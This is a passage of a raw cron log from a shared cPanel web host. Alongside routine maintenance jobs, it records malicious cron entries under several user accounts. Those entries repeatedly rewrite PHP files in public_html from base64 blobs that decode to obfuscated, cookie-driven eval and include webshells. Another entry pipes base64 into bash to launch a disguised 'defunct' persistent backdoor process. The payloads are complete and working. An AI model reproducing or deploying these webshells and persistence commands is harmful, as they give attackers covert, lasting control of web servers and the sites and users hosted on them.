TRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:58:02 medusa CROND[6242]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:58:02 medusa CROND[6244]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:58:02 medusa CROND[6243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:58:02 medusa CROND[6245]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Jun  7 11:59:01 medusa CROND[7841]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:59:01 medusa CROND[7852]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:59:01 medusa CROND[7853]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:59:01 medusa CROND[7854]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:59:01 medusa CROND[7857]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 11:59:01 medusa CROND[7859]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:59:01 medusa CROND[7860]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:59:01 medusa CROND[7863]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:59:01 medusa CROND[7865]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:59:01 medusa CROND[7864]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:59:01 medusa CROND[7868]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:59:01 medusa CROND[7870]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:00:01 medusa CROND[9520]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 12:00:01 medusa CROND[9524]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 12:00:01 medusa CROND[9535]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 12:00:01 medusa CROND[9547]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 12:00:01 medusa CROND[9548]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:00:01 medusa CROND[9551]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Jun  7 12:00:01 medusa CROND[9549]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:00:01 medusa CROND[9552]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:00:01 medusa CROND[9553]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 12:00:01 medusa CROND[9556]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Jun  7 12:00:01 medusa CROND[9550]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 12:00:01 medusa CROND[9558]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 12:00:01 medusa CROND[9555]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/senddigests)
Jun  7 12:00:01 medusa CROND[9562]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:00:01 medusa CROND[9564]: (wmondolo) CMD (/usr/bin/php -q /home12/wmondolo/public_html/ot/cron/email_overdue_tickets.php > /dev/null)
Jun  7 12:00:01 medusa CROND[9566]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:00:01 medusa CROND[9567]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 12:00:01 medusa CROND[9574]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Jun  7 12:00:01 medusa CROND[9561]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Jun  7 12:00:01 medusa CROND[9579]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 12:00:01 medusa CROND[9576]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:00:01 medusa CROND[9590]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:00:01 medusa CROND[9592]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 12:00:01 medusa CROND[9591]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Jun  7 12:00:01 medusa CROND[9593]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:00:01 medusa CROND[9594]: (wmondolo) CMD (/usr/bin/php -q /home12/wmondolo/public_html/lista/cron_insert_turno.php > /dev/null)
Jun  7 12:00:01 medusa CROND[9569]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 12:00:01 medusa CROND[9595]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 12:00:01 medusa CROND[9577]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 12:00:01 medusa CROND[9565]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 12:00:01 medusa CROND[9603]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Jun  7 12:00:01 medusa CROND[9605]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Jun  7 12:00:01 medusa CROND[9601]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 12:00:01 medusa CROND[9610]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Jun  7 12:00:01 medusa CROND[9613]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
